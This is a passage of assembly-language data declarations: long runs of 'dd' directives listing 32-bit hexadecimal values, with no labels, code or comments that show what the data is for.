40BA7780h, 437BBD5Ah dd 56DE8939h, 20A07A59h, 5F12A81Ch, 37BDF731h, 0D4E94781h dd 0D3DD2F62h, 0AC67B86Eh, 5D6960E9h, 890A4505h, 69810B4Fh dd 132BFB11h, 0C12B01FDh, 214A1036h, 248A303Fh, 40F4B80Fh dd 0B7F63629h, 1955FB25h, 0E1205298h, 972C0B6Dh, 40028963h dd 0B77C9CE9h, 125E5224h, 0B9CAAFE9h, 0BF0A1062h, 14368861h dd 0E6E842DEh, 0EAEADE63h, 0C6C11B6Ah, 13712BA6h, 8A2E5FF8h dd 23B69293h, 292099D0h, 10B2875Ch, 5D272FB1h, 65277E54h dd 45FA27E1h, 0D873D495h, 8980332Fh, 206812C3h, 123EF342h dd 0A2FA2F90h, 92FAD60Dh, 40DE92ABh, 174F5488h, 182DBB31h dd 7BC3C800h, 541D484Bh, 0C33A471Dh, 6DF9E97Dh, 0FAB93825h dd 0BE295BF1h, 0DA56C65Ch, 0DDB6E162h, 0B1010D66h, 86C9FED3h dd 0E9D8F6D9h, 0E3687FD7h, 53ECA759h, 0B17595BAh, 66CD84B0h dd 0E9D7D004h, 799AA094h, 9F9ADA50h, 5C264702h, 0F15AD301h dd 685E8250h, 9D5956F3h, 0BD373682h, 0DD346A38h, 0B0B706Ah dd 4357E409h, 2E514808h, 0AD420530h, 6FEEB951h, 5434D22Dh dd 9FFE2575h, 18C36861h, 4878B351h, 8CE08103h, 74489A2Eh dd 42BF0415h, 0B8BE7EEBh, 58C51227h, 0ED809265h, 0BFFB08E9h dd 0CB48E356h, 961DD602h, 91AEC007h, 0BD23BBF6h, 18CED2Fh dd 14194DA4h, 8A7E5445h, 4B7B7AC0h, 64CAE049h, 7C1A592Dh dd 6FFC830Ah, 9C046B1Bh, 0D751E2F2h, 0FF20C6AFh, 0F0EF63BDh dd 1E8107E3h, 1DAA02F3h, 89EA813Dh, 0CE556001h, 1208C4A8h dd 90B8A5Bh, 7572D8E9h, 6842E15Bh, 6CD17764h, 12B04693h dd 67309BDh, 49001625h, 4CC104E5h, 17B0E8C0h, 0C091CD9h dd 0D2FFE9CDh, 2C77AC30h, 5105D8E0h, 0ED8043B5h, 9C89AD83h dd 1EED8CAAh, 60427C41h, 0C76C5DFBh, 2212922Dh, 0F31758E4h dd 9DA310E7h, 54250210h, 65B5B6FDh, 0D5478052h, 7B2EBA17h dd 4A9DA65Ah, 0C9CC7E91h, 94A0EA04h, 0DEEFF4E8h, 685707AFh dd 0A4667BF6h, 0F17C4316h, 0E22744B8h, 6827BA4Eh, 49C7DE5Ch dd 871FA567h, 0BE42C700h, 1938DB7Dh, 8951E9BDh, 6EEC7F33h dd 4D0176E1h, 4DBB20B8h, 98244A5Fh, 1EACD20Fh, 2B95D76Dh dd 0E463E905h, 1C9E51ADh, 32D72F29h, 6771D77Eh, 523754A5h dd 0E90C1E5Bh, 1B44719h, 80D4F657h, 2E30D0ECh, 4F42ABE8h dd 4DF35CA3h, 0C07CEFAAh dd 5AF07B3Ah, 43665224h, 88503903h, 0E9E690ECh, 14329E9Eh dd 2C7A5A53h, 434FD10Bh, 69031FEEh, 0A00C01CFh, 2EFB07Bh dd 8AB30496h, 0A204B2E9h, 0DC5B8965h, 0E4FC2AFh, 0DEA72956h dd 0AA5816F8h, 5A318D8Ah, 4C427676h, 370FB8D8h, 0A5781464h dd 0DC343605h, 0A55F5A0Fh, 8CEF2EF4h, 53D60156h, 6F506A1h dd 4120BB01h, 6BB1F34Ah, 0C8A77B49h, 1253EAB6h, 0ACA34289h dd 0E2A84EAAh, 2771E9C2h, 0BF3820FFh, 98A925ABh, 0A5F73F6Fh dd 8BD7882Dh, 0BB472F8h, 9BCFC287h, 0B0F9C55Fh, 0A74A144h dd 54C12BBFh, 0F10D969Ah, 29F7DA16h, 5327B110h, 20C9B93Ah dd 0AAE91401h, 68C29AA1h, 0B0776038h, 4B376356h, 5EBFC05h dd 69277307h, 0FA89F4FBh, 631D4E1Fh, 48AC86FCh, 401E329Dh dd 12126D05h, 90AF617Fh, 931F0A2Fh, 4C311012h, 86C4E3E8h dd 0DCF6075Ch, 0F7915B75h, 69C80D59h, 301A7BE2h, 5F24AB70h dd 5B13DA21h, 8316EAD1h, 0B2EA9884h, 5427CB62h, 0BD993A0h dd 1AF51561h, 9D497550h, 0E788CA5Fh, 2DAAA8B0h, 72F38E8Fh dd 5B0BA738h, 0BAE9852Eh, 6891D065h, 3BE17B9Ch, 3A0B29FEh dd 0F0047916h, 580AD769h, 1C1602A8h, 79FE26C6h, 0A7F7B27h dd 60CD80F2h, 41F0BE56h, 1810B33Fh, 681CCFA4h, 0CB4F4B07h dd 0DFE04E9Eh, 0A3EF5A2Dh, 29009D1h, 0FEA75515h, 6B6281E7h dd 48DFE172h, 0FAE0EFDBh, 0DE959BFEh, 0E380C9B7h, 4ABB31FEh dd 3EED8101h, 0D17ED02Bh, 0F26DC0DAh, 436917E5h, 0D8A80421h dd 0B477EB79h, 8856026Bh, 0C1090112h, 9EBD4158h, 956B1614h dd 62379AFFh, 0C8DBF7E4h, 41C0E909h, 0CD41B91Bh, 85E87BE5h dd 80AC9C1Dh, 2AFD6B59h, 2FFFC145h, 0F0824F0h, 31413909h dd 0E6185FADh, 3A838660h, 8C35EF31h, 0D4399AABh, 3F976610h dd 9DF6B980h, 0C78095F7h, 30AFB5A0h, 0B75B70FDh, 3E58170Eh dd 33C43E77h, 1EEB79F3h, 0A138D76Ch, 0F09C32B6h, 0E2FE42E9h dd 0AF4E9DFFh, 9154BBFAh, 0CAEED1E9h, 7A0E086Bh, 70169DC3h dd 40527A9Ch, 0CBBE995Dh, 3957FB49h, 0AB2A4439h, 84D46924h dd 0A66EA8AEh, 0BDF126AAh, 0CBDD4981h, 6FBCDCE8h, 270EA84Fh dd 7DD9C2BCh, 8BE27065h, 27EEF138h, 1C20C4D7h, 2F5D9868h dd 9EF01675h, 9982062h, 22A04D43h, 0CDE63370h, 3F020E09h dd 95BB004Fh, 121DA243h, 0BAC6C3E9h, 61E80932h, 962FC84Dh dd 0E97A08C3h, 0C0C5C548h, 68555057h, 64390285h, 0DDF75D6Eh dd 0CC7C8040h, 0C3D6BC25h, 58C799EBh, 5283829Dh, 0A5F5FF01h dd 16158B30h, 96F8220h, 5A10A672h, 1760518Ah, 7904CA61h dd 0E95D096Ah, 9ED52ED9h, 4A2B200Ch, 39EEE990h, 180D3C4Dh dd 0E0237AA3h, 0ED51BD12h, 0CBBD5588h, 5B9A4375h, 0A904AA0Ch dd 58C1E901h, 0FE59314Ah, 3574AA2Ah, 4E0CD904h, 8E7BB900h dd 1FF4FB2Ch, 75B70A4Fh, 0AAEAE982h, 0AA910D46h, 75674509h dd 471AC418h, 0A5C8F9B5h, 104208F5h, 7EF7870Bh, 315A6203h dd 7F84DA09h, 95FE7209h, 0F7525956h, 56028D45h, 7971D5E9h dd 0DD65AFAEh, 5B686602h, 0B0105733h, 609D3EB3h, 4DE952F8h dd 81014564h, 0EF7BC8E6h, 0D20C804Fh, 0E967636Dh, 0CEE24DCDh dd 0C2265A81h, 20E6657Dh, 0AB04DBC4h, 0FD89E148h, 3F20F050h dd 14262D3Bh, 3CD3B587h, 839662BDh, 9B3543EBh, 0FF08DA02h dd 770B11A9h, 54EDA97Dh, 0BF18A8C8h, 260BE75Bh, 6F3C9E1h dd 0F60D9020h, 0F65DCD03h, 63E4E8E8h, 0ECF08EA6h, 6813D6B2h dd 0EEAC7489h, 2A502DC6h, 673E70BFh, 38BB92Ah, 8028329Eh dd 94B50705h, 5D58BD2Ah, 9340962Ah, 0FCECC15Ah, 0FA92583Dh dd 5EE7BBBFh, 8B4EBC5Ah, 1D74D499h, 162F8581h, 2817BA28h dd 8B08C5FAh, 0F90118AAh, 167C3222h, 3521A68h, 0B142155Ch dd 0DACBD1D7h, 0D836D925h, 3E1B29E3h, 0A0182A86h, 0A012D813h dd 0E7D1FFBEh, 0B382720h, 89E693E4h, 0F02E0125h, 65246864h dd 648B7F6Bh, 0A8145504h, 0BCC581B7h, 0DB45264Ch, 0CA41C5BCh dd 0B6E90A01h, 0EB4E656Ch, 1915838Fh, 933BCB43h, 40BE0243h dd 0DF3AFA0Ah, 0DE579562h, 99E99DD2h, 3EC657CAh, 5B7BEDACh dd 0B8B70B3Dh, 0C2F111FFh, 0E7B94CC6h, 535FEE3Ah, 7D8CD7A7h dd 1A25F70Ch, 588EDD2Ch, 0E9130854h, 0C0E4C36Ah, 0B55103E8h dd 0E5767A76h, 1628073h, 4066E306h, 0B030F7ADh, 0EF4B6925h dd 19E6610Fh, 0C50472ABh, 0A80BF0B2h, 664EAB82h, 0E82937E9h dd 0B074672Ch, 65DF0513h, 875EDA24h, 2F072D14h, 1F0BEC5Dh dd 1FA76856h, 0B5DB7F90h, 1708BE63h, 77CA587Ch, 9A3AD4Fh dd 5F4CE32Bh, 0FE291A82h, 90986Ch, 286C9F48h, 0ABE08145h dd 98555B80h, 0EC4695Bh, 84B74A01h, 0EFFA9F52h, 6AD5614Ah dd 0C27A79A5h, 980FB8FEh, 73F48027h, 983DECF7h, 20F82548h dd 0A2BDC9A7h, 3561736Fh, 0E5896003h, 68BA2E05h, 8CC4F931h dd 9B221E87h, 9C97A16h, 9CC3F13h, 0F9ABC789h, 9822DF78h dd 0C1E4B5E5h, 249E3998h, 2B242C2Ah, 2C0BC7FDh, 3DF68412h dd 0DAB45003h, 0FA84A83Dh, 7EBA86A9h, 443FF9E5h, 0D044F7E9h dd 0F03058B9h, 0B34DB195h, 0A94E7778h, 0D9FBB4D0h, 5B633C0Bh dd 681220BCh, 784CF37Bh, 0EF5DDF29h, 170F1EA8h, 0CE7F6907h dd 4C96931Eh, 93199D3h, 30D749CAh, 8647578Fh, 5B45544Ah dd 8CEE22DAh, 0D00EB77h, 161B857h, 2BA52CBh, 7FA0228Fh dd 5CC2C8E9h, 536AFC12h, 0FB70F8DEh, 0F63C5A8Bh, 506F98CDh dd 4F433168h, 23F2DAC5h, 96303C38h, 0E3406A1Ch, 258508EAh dd 1C12D83h, 4E38B620h, 0F1EC2018h, 7AFF3909h, 0B350DFFAh dd 68DB6E27h, 2D08B4A0h, 0CB481FABh, 9BBF3A33h, 34C8CCEAh dd 7849B7C2h, 0AD9B2B5Eh, 0FEC9AF4Eh, 31416E89h, 2F4B8A5Eh dd 9994642Dh, 18CA0693h, 69B3BF26h, 4C13FEC5h, 0C0BF5C42h dd 15E9C315h, 923D5196h, 2709E3C1h, 57A0C2FAh, 1B706DFCh dd 0B492B547h, 822A8477h, 0BBBC35FBh, 0C83A3EC7h, 2EB66884h dd 0E81499ABh, 0E69D4920h, 17DE0705h, 20350F12h, 0D27F851h dd 0D746F60Ch, 9F73C611h, 681318C6h, 9ECA4B92h, 13D0B65Eh dd 60BB2868h, 0F617E20Bh, 4EAECC4h, 9DAFDAEh, 0F7C56D4Bh dd 51DF7E41h, 3CFA018Ah, 42907C90h, 14C7250Eh, 0B7891E3Fh dd 0FFD15DF2h, 0E9A41069h, 25F560C0h, 0FE1CD1C3h, 2C82F795h dd 0FD0B2E48h, 0C54BE446h, 289DF180h, 472C260Ch, 1819024Ch dd 246950A2h, 256A6526h, 0F5EC7ADEh, 0F69B344Bh, 5AD01296h dd 0DDD646AAh, 0CA2ED97Eh, 0E3082D57h, 0B65F167Ah, 25BC188Ah dd 0BC5EF041h, 0AE59696Eh, 781FE98Bh, 0D43005E2h, 0A4DCF65Ah dd 58814ABEh, 910AF02Fh, 3571AD41h, 0A6DFA92Fh, 10B9025Eh dd 2911974Eh, 605AA2DCh, 3E6E86CEh, 0EE0075F8h, 620105EAh dd 615BDBE9h, 485485C9h, 119E808h, 0C869FCB9h, 0E1B34070h dd 722D2150h, 0A3301601h, 0FF6DF824h, 97C89D72h, 312A282h dd 0AE1829A5h, 586FF87Ah, 0FE1364EFh, 0CF7FFC97h, 0CF3C7E4Fh dd 5C6B539Fh, 57003674h, 0E92FA77Fh, 3C4D6B21h, 0CB09667Ch dd 4BC44630h, 0B9AEB429h, 4C4B43F2h, 125D9FF4h, 0B70FCCE9h dd 0D829007Dh, 354E322Dh, 1242BC7Ch, 12080850h, 0F83B301Eh dd 0A3F4159h, 0AEDF6376h, 0D72EA0Dh, 846E45FDh, 12A2BA8Fh dd 0EF4064CBh, 80005B66h, 0EA2898F5h, 0B0CAFE59h, 4A254078h dd 20876497h, 0C89F1038h, 9F64D863h, 9C9055Eh, 2D68EE3Dh dd 19624A68h, 55BA3AF5h dd 1059EEC1h, 14F4DB8h, 9C3542CCh, 0FC106B6Dh, 7991457Dh dd 0F1ACABC2h, 7A3896Bh, 348BF27Bh, 0CAD2D14Ch, 86642593h dd 7797779Ah, 0CDA60E96h, 0D75DEB25h, 133BC7CFh, 0C7640B09h dd 372104C1h, 611EE804h, 0CF7D1D3Eh, 55541871h, 0A549081Dh dd 6CFA240Ah, 2B68E7D8h, 7A34C12h, 0C27D2B60h, 99D0B9E9h dd 9FFBB4Eh, 79F58933h, 5A05617Bh, 51DD305Ch, 5E4A1DB0h dd 0E7A2B6ADh, 689518F7h, 16659F3h, 0EF490A81h, 3922F475h dd 8421D995h, 80C91BC1h, 37A0F1B9h, 0CA7FD224h, 3EB605BCh dd 830232C0h, 62EA7CACh, 6C928DD9h, 2C089860h, 12C15BFEh dd 0D877498Bh, 65B7B4FDh, 16F71367h, 0EB2964DFh, 65A13680h dd 0E9ED0943h, 0C233532h, 0E5176A60h, 0C6BCF4DBh, 0C9B2C1CCh dd 2019DC58h, 22D04EDFh, 9B4A2EF3h, 72E9DC5Dh, 39E4AF61h dd 3D7721DDh, 11E157AFh, 0C6E52BB9h, 2A36C97Bh, 0B13458C6h dd 8D46828h, 0BB284F96h, 0AD2F8D2Ch, 21636861h, 9270B67Bh dd 97D51B56h, 0E707A4AFh, 682E829Dh, 31B97A44h, 0EC151B5Dh dd 0F4317A48h, 1704E5C8h, 2FC4FB90h, 3CC2C384h, 2DB57B06h dd 53400A5Eh, 4C21CABBh, 9F10B892h, 0CFD13E07h, 0D48079FDh dd 210C2C30h, 0ED55489Fh, 1B870D74h, 3F953AE9h, 0D5209A82h dd 839647D0h, 0CC80C2C5h, 4E634D2Dh, 12AFAC4Bh, 57372368h dd 4A77AC8Fh, 5A10FC46h, 0E85F40A0h, 812F9014h, 3A7CED00h dd 52E947C0h, 0EFF9BF09h, 980FC2h, 940E1568h, 0C15E6D05h dd 738005E6h, 4AEB9F22h, 63B4FCC2h, 9A7B3096h, 3E25007Fh dd 62025548h, 449A5935h, 0DD6A4212h, 2F0C5B2Dh, 0E648FAE8h dd 618FB4Bh, 0B04D8B48h, 53D98C7h, 5E0348ACh, 0F717C031h dd 393835D8h, 7F01DF21h, 148307D5h, 0E1988020h, 0BA7C2ED9h dd 0F96CE916h, 0E8F104A0h, 52B8F921h, 4E2BED06h, 1913C69Fh dd 5D0BA853h, 0D5A58976h, 105FADE6h, 80D393C8h, 5113ACBEh dd 600807F5h, 0A43E3734h, 0DA3D90D2h, 4326685Bh, 5DCB1464h dd 0F1FFFAC2h, 358E0C53h, 0E1338034h, 0B312067Bh, 0ACE2C7C1h dd 0A5E5D88h, 0EF395D6Bh, 0DEAEA7F9h, 6AD66242h, 18F8DD12h dd 32AFCA1h, 0FEA81058h, 0A5AD3E32h, 9DF27081h, 5BEB1179h dd 0F08A1371h, 57775D4Dh, 0DE41B22Fh, 98C66059h, 0CB01B20h dd 0E4C0DD5Bh, 0CA2D1B8h, 0C331EF4Dh, 2203ED26h, 1747911h dd 86C41DDh, 279E9A01h, 25846D9Ch, 0B3A5D89Ah, 37AC0B51h dd 0FBC4B076h, 13511E52h, 40B4E095h, 0D64A7BFCh, 81AC6549h dd 0C301178Ah, 0A070FC3Bh, 98261BBDh, 977F9A3Fh, 17DAAFE4h dd 5F220B0Ch, 0D125154Ch, 251CCC21h, 2B9A61CAh, 39C1D110h dd 4BFB2297h, 84BA0037h, 0A7A3E15h, 14E8A035h, 0C1323783h dd 0F344F205h, 68792CABh, 0D3334525h, 0C834681h, 1260E913h dd 89374993h, 0D8283654h, 0C9D60813h, 0A4A0205Ch, 0F8D02AF5h dd 0F401DD5Eh, 0DBA65CE5h, 0E28991A4h, 0F6F32E22h, 769F7A38h dd 0D4B47F13h, 0DA52EA1Ah, 27605DBEh, 8994CC0Fh, 0AC865584h dd 0C1EED2F0h, 13542961h, 0B9EDCC52h, 6E2C6607h, 0B11EB50Ch dd 0F1E62EB4h, 0E310A712h, 0F358009Ah, 386203A5h, 0F9EB4F68h dd 0A3D019CCh, 0B52FC7D5h, 1407ECB7h, 282AD9B7h, 9CF1FAFBh dd 660281F1h, 0F16FB450h, 4A006FDEh, 0F07E781h, 2C037B11h dd 455EB89Ah, 0D8BBB1ACh, 362D6896h, 0B6A4650h, 4C2673A4h dd 7DA3CAF5h, 1366640h, 0E4A38282h, 0D1572937h, 5E753E3Ch dd 34D3E4CBh, 778FD1CFh, 767F54E6h, 693ABFCDh, 909CD95Ch dd 5A56CD01h, 9D42E2C1h, 590649F4h, 6309036Ch, 0DF44A48h dd 5C230442h, 0F99C0C62h, 0F109F72Ah, 3852CE68h, 8A85E942h dd 21C2BF5Eh, 6281742Ah, 14DD110Ch, 0B7530141h, 307FB13Fh dd 10CB3DF9h, 11583D7Eh, 1C5E5A10h, 3E820C04h, 40345D2Ch dd 7358C2B8h, 30E52C80h, 447E2517h, 6440D896h, 950399B8h dd 0F92D030Ah, 0F721FE42h, 68A9BEFCh, 6B050801h, 7A7DC0DDh dd 0F60534A1h, 5CED5A57h, 3A220DF1h, 4BC322D8h, 9F4B2984h dd 0D1302854h, 0B389EB9h, 0CD3156D1h, 6709908Eh, 8B4F977h dd 0D924AEEEh, 2A9BF08h, 21B06857h, 0A70B31CCh, 8013EF31h dd 3E4DD55Dh, 84494F12h, 0DC81C023h, 315A6BFBh, 4DB9094Dh dd 58103760h, 14811D49h, 32EA3064h, 68C30484h, 0C8A303B2h dd 0F6196D0Eh, 34CF81C0h, 0E587B43h, 1C1E07D7h, 0CAC053ACh dd 0B0BD7CCDh, 50375D41h, 0BE145B3Bh, 984FA7F6h, 0BA0716Bh dd 0D92410C6h, 0A50C8169h, 0BBB16F5h, 3C1B63FAh, 24FD0B77h dd 0E2AA9090h, 7F24836h, 53372B03h, 0DFAF5EF2h, 65B1A146h dd 7FF9E030h, 0C56602Fh, 0E9C779A1h, 94BAD597h, 0BB026F41h dd 32691A63h, 15E8DD16h, 862F0ECBh, 65A65101h, 2A41855Ah dd 5F5C2718h, 0D1DF1762h, 55C5001h, 0CFFD8809h, 85407FF1h dd 1F1E7617h, 0EE145E27h, 68936707h, 6DBF5B14h, 4265D58Fh dd 0E350866Fh, 28342D05h, 0B7E6273Bh, 9888FB4Ah, 87B15AE9h dd 0C2D33441h, 6D7D0359h, 8C1A118h, 51057E99h, 7582AEB5h dd 6EAF54B7h, 46EA16E3h, 3F9E4805h, 0FAF07455h, 5F08A0E9h dd 0CEF0F05h, 0C8CB0A7Eh, 0DC8D8F6h, 0E9D02903h, 9DEA9C63h dd 7D42EDDCh, 0F0EB01CCh, 584E9B6Eh, 265B0E85h, 0F0FF8501h dd 0EE514808h, 791C3A8Ah, 7121C09h, 25788F3Ch, 50BFD340h dd 812C3D00h, 627865F5h, 0D0D09F64h, 5E14DE97h, 0F45EE97Fh dd 405D14A4h, 0D12D6805h, 45D6FB4Ah, 7E88805Ah, 5E4E2311h dd 2E5D5AA4h, 1625DF1Ah, 2C98A10Ch, 0CAEFB48Dh, 49E90973h dd 0C3397F2Ah, 0C6A27A53h, 417A5B48h, 0FCF0C1F7h, 0D79866B4h dd 0F828481Dh, 805A5B81h, 0C3CC4CEBh, 0E9CCE122h, 0AC2E4E5Ch dd 3150DF13h, 11CCBA4Bh, 0FEED2E91h, 0DD084B03h, 0E93A2CBFh dd 0B8F545D5h, 9774D825h, 3608F82Bh, 70BF0163h, 0E84D4C19h dd 0A0977721h, 3C7FD85h, 0D640F602h, 50192091h, 0C0F8F2B0h dd 2ACA5655h, 0F6270BF1h, 7B62E525h, 0CAC579F7h, 0EB798895h dd 0E1A7127h, 0D9E49ABDh, 95198043h, 3B0CFD33h, 51092AE9h dd 4A580BF7h, 2E8057ADh, 31D4CF8h, 251F18C7h, 53C04114h dd 4ECED255h, 1DCC3BDh, 0F8E9C2B4h, 3B92378h, 2674F24Bh dd 8A000A9Ah, 9B1ECD8h, 2185F531h, 6855A4C5h, 270EF931h dd 416E2A13h, 3CD13B8Ch, 83F12BEBh, 0A207903Ah, 1E011873h dd 0FF15E105h, 25432D43h, 37B08CE9h, 5CC70980h, 0C575FA30h dd 0A7F09F57h, 0ED27EA48h, 90575D80h, 9DAB20B9h, 0F9F75C17h dd 0BF9284B2h, 6800EC8Ah, 440251E2h, 0D6506E9h, 1EB4240h dd 9D758D2h, 36A1114Dh, 534F5507h, 26A9A689h, 2B13FF54h dd 0EBDB74BBh, 5C8425FCh, 0C26C8031h, 47D22CE9h, 0B2178EECh dd 0EB77AA54h, 5AC2EBB3h, 1539AEEFh, 82865930h, 2195545Fh dd 67969D21h, 6BEF025Eh, 5F15A90Bh, 0B355E28Bh, 0C3B5FFA1h dd 97030AEh, 44B04A27h, 0F9E6AF09h, 69BB7108h, 0F8318C83h dd 1AEAAC02h, 0C14F6009h, 24DC6C54h, 0EC6A9D2Eh, 20B20808h dd 7E92514h, 70C6C290h, 0F7760E0Ch, 1E3F26D0h, 1E0BAA73h dd 41D182D9h, 5F56E0E9h, 33083E24h, 515E0BBEh, 0A9555402h dd 76BDDF64h, 0DB5A2F74h, 89F13E29h, 4BE052BEh, 0EC379286h dd 0DB7A0BF4h, 93C031DFh, 0D41ABDEAh, 0F7903657h, 29296278h dd 7C0BAACEh, 0A52DC516h, 27A2C5D7h, 921085Bh, 0E1FA6A34h dd 2C96BC8h, 84FAF96Fh dd 0B4AA0B35h, 101228AFh, 7909B7AEh, 0D7D875D3h, 981A245Dh dd 0F64156B6h, 17CAF248h, 0A627B0E9h, 63C4105Fh, 7BF7E140h dd 20C62CA6h, 3110C1h, 52263BBAh, 16C9BE37h, 0FDC8ADD9h dd 0F4FC5A3Ch, 9D3C1E17h, 0AAE93F7Fh, 0AD8C6813h, 116E160Eh dd 0F31881E3h, 0DF376518h, 539DDA01h, 0A86A9BBBh, 0AF3DC20h dd 639556C4h, 6C2F03EAh, 1801791Fh, 0CAE8BAF7h, 0A421DA29h dd 0ED6D912Ah, 0E7CFE46Bh, 0F0EA0132h, 56A9F510h, 28562812h dd 0E91502CBh, 0EEE558D7h, 55AFA2CAh, 5912637Ch, 0AEB431A8h dd 847612A3h, 0F1CB5B4Eh, 0E8CA4212h, 1336C138h, 0F1E1439Bh dd 8234FDFDh, 595CC9F7h, 2688FAF5h, 0CB2ACF2Ch, 0E9504654h dd 3EC76360h, 6FB9CB31h, 12D02E4Eh, 2FBB15F2h, 2ED41BA3h dd 54C0EC12h, 9541E05h, 0D8293199h, 7A62A402h, 2C28C55Fh dd 0DE555202h, 8D652F54h, 2727669Eh, 1328BB8Ah, 11E8542h dd 23A5416Eh, 0BE806B29h, 9061A257h, 85E91722h, 4A684114h dd 2F0E5234h, 6C533EC2h, 7AD0FE69h, 0D4035878h, 7BFCDF20h dd 2C74EFB0h, 0B1B2521Fh, 0F8026BBh, 56CB542h, 0ADDBB5Bh dd 0E477FC6Ah, 483F3FC6h, 0D725A658h, 0D601DCE1h, 0B57AECF5h dd 3D71555Eh, 4F7FFDA7h, 82CD09F4h, 0D74B7B79h, 71D57D32h dd 678B9F2Dh, 51BDCC5h, 25F02571h, 9E57D289h, 61F99F0Fh dd 1D0F3208h, 9E388A50h, 1DD78AC0h, 1E558884h, 55EF8109h dd 0CD23878h, 4144E1AAh, 2FB572FAh, 8AB671AAh, 9FFB04F0h dd 0FFB25EE3h, 0C2BEF4Bh, 45393E2Eh, 58F79135h, 418E7E28h dd 8402EC10h, 5C0ACFD7h, 8D89CFA0h, 51954D50h, 4C25D3E2h dd 6A7F4A19h, 67C5F1BAh, 0E6596BECh, 67165E65h, 0A84E85A7h dd 93E9844Ch, 96683990h, 1258BB18h, 0B837EECCh, 3F2BF783h dd 235AB4E5h, 0BF152D3h, 9AA53C41h, 0DFE5575Ch, 1CC05BE4h dd 5D1812h, 104E2D5Fh, 0D001196Bh, 67070551h, 5F86382Bh dd 0DA15C332h, 109425D3h, 368A8AF9h, 0CE948805h, 16EA4AB1h dd 0D709F2F4h, 13809AFAh, 0D71253E9h, 9693B6EBh, 0B0F874FFh dd 44007D02h, 0E2812DC2h, 0BDC93379h, 0F3C507Eh, 7FBF4DCCh dd 0C580EA8Eh, 7495713Fh, 4B3A1381h, 9FBEF33Ah, 599B1289h dd 770C88C0h, 0E76B5728h, 9C14DDA8h, 0BB6076FCh, 7391B926h dd 7E6458E6h, 8665EC04h, 63841C2Ch, 55015BADh, 3160A1C9h dd 0DD0BFED7h, 6CC7D42Fh, 433DD34Ah, 3898E989h, 35400011h dd 57E11083h, 40F020Dh, 19E9342Ch, 0F6C520DDh, 4B9B53C6h dd 0B0DBAC2Dh, 13130FABh, 0B075E978h, 3398490Eh, 0EC309641h dd 937C00E1h, 18055857h, 0BC4F26C9h, 0A917AEFCh, 598B2C0Eh dd 0DA5F682Dh, 0BF2208Ch, 3C09059Dh, 457310BFh, 3C6FD8A0h dd 10C44950h, 17EFBFD7h, 587BB65h, 0EA97DA27h, 302189Ch dd 5398B551h, 0FD8299B7h, 952BE760h, 98F33180h, 4FB3361h dd 0D4FBD0A5h, 99E7AAE4h, 16D9A019h, 9FFC3A05h, 0A7965D3Dh dd 0F277ABC4h, 58F3ECE4h, 18FD0B04h, 3A05AB08h, 4198D931h dd 204F0F89h, 0EDDF759h, 4BFAB850h, 0CC0AE057h, 0B2279F0Bh dd 0E651824Ch, 2983C6DEh, 0D9155536h, 367FD0DBh, 0C2906069h dd 995C9F40h, 0E5F184F9h, 790A92FEh, 0F0A642D5h, 1BE6BDCDh dd 926AE92Ah, 2A906804h, 5DB8274Ch, 890F9231h, 8605E7CBh dd 62191457h, 79391CBBh, 0EE91C8Bh, 66B7BBD0h, 0F80D3B99h dd 0F72E1700h, 610540D8h, 52AB6716h, 0A060D21Dh, 0B5EFF301h dd 20058CC9h, 1A7CCC80h, 51646560h, 9D203463h, 890B69D8h dd 0A95559CDh, 58B55E9Ah, 135BDCE9h, 17E95BEEh, 0FE295E80h dd 0F4EC875Fh, 512ACF07h, 834FB013h, 681201EFh, 0EEE36177h dd 50FAD407h, 0B4C7E593h, 274A3CDDh, 578064E3h, 110948BFh dd 0CE801F5Ah, 96533FE9h, 83D5A54Ch, 0E9F30130h, 1A9A70C3h dd 2F5FE45Ah, 0DB9E8555h, 4EF390F5h, 1418BA1Ch, 33574F44h dd 696C478Dh, 0A7E1DC82h, 42C2BFBh, 0A2F61FEh, 3E627568h dd 722F3B29h, 54274E26h, 6772A662h, 8D52A57Ah, 0EEB1254Fh dd 5E3F9E2Eh, 17F465BEh, 86CAFF55h, 0B816E985h, 0F28009E4h dd 1769D46Bh, 1F770466h, 5BE023Ah, 29B44103h, 0EC1CF02Bh dd 2F683840h, 36472528h, 0D71ED7AFh, 5A8F475Dh, 314D60AAh dd 1B012844h, 107BE981h, 0E32A64C9h, 8BAFD2F7h, 0F6F66A7Fh dd 0DE0CFB00h, 4944E906h, 1E4B00AAh, 556D4BA2h, 0C9C6B4E8h dd 290B4517h, 80478E5h, 502642E3h, 0EE586544h, 0F0A8BB56h dd 194AC3A8h, 0B8C489ACh, 77C249B5h, 74F4D1ABh, 8F96859h dd 3C68AC4Dh, 0F87C0701h, 442D5851h, 2F2D0B06h, 350FDBF0h dd 5DC966DFh, 43447442h, 8458C316h, 536AB202h, 0C009BA7Ch dd 70CC54E5h, 784BF968h, 0C61848CEh, 0D1CBC30Dh, 24265412h dd 95018CECh, 317DD066h, 0EA1F30DDh, 0FA295D07h, 0D7CB215Fh dd 2CE1E74Ch, 43F15EC9h, 2D575CFEh, 0D3E991F1h, 4A51AF8Dh dd 61065E4Bh, 33783E68h, 58541E30h, 79A5B09Dh, 0FCCF88A9h dd 4F3A402Fh, 1815E881h, 0E3DCC02h, 0FD13EBC7h, 6709C373h dd 8E947C5Fh, 649D6EBEh, 5765AF72h, 9FE155E4h, 5259273h dd 1E96A30h, 92D91C5Ah, 327A05E5h, 21D0F718h, 6E7F7B95h dd 68E70590h, 0E435708Ch, 0D06E0D81h, 6357C041h, 9195622Ah dd 822A4C7Dh, 0D16860CDh, 22BB0E0h, 3501C083h, 0E05DE3FDh dd 9D092C85h, 8EA03451h, 0BF0EC6B2h, 40C175B6h, 0E68DFF7h dd 5644A879h, 2E19F453h, 8B7C043h, 57178B49h, 0E44A3CB6h dd 0E725E98Ch, 11EEDD18h, 7F2F5DB6h, 0FE5BAEB3h, 80308DF5h dd 5A7A401Eh, 81D52900h, 9F2D41EDh, 93B947Ch, 917F0714h dd 80715082h, 0AD8B092Ah, 8BD63C09h, 0A31719A6h, 54364A22h dd 0BD584AC6h, 0C152990h, 210BF9E9h, 99F997EAh, 681074Ch dd 0BF6007CAh, 93F8A81Ch, 0C6007582h, 326C40F9h, 8635590Fh dd 0A92C4FB5h, 0DF3F82C3h, 4A92E05Bh, 83C99E17h, 2B7098F8h dd 0AE20C4DFh, 7AA6A931h, 3F45396Bh, 0DC686680h, 0CAF7916Ch dd 2D700265h, 0A8DD3E76h, 222808D4h, 5DD34525h, 22A9359Ch dd 110B2FE6h, 0A3A40E52h, 0E12CFE2Dh, 958039B6h, 61235CEDh dd 81EF556Eh, 43186AB2h, 80A05E01h, 0EC5D5E07h, 95CF34Dh dd 2674E9B9h, 126A9F33h, 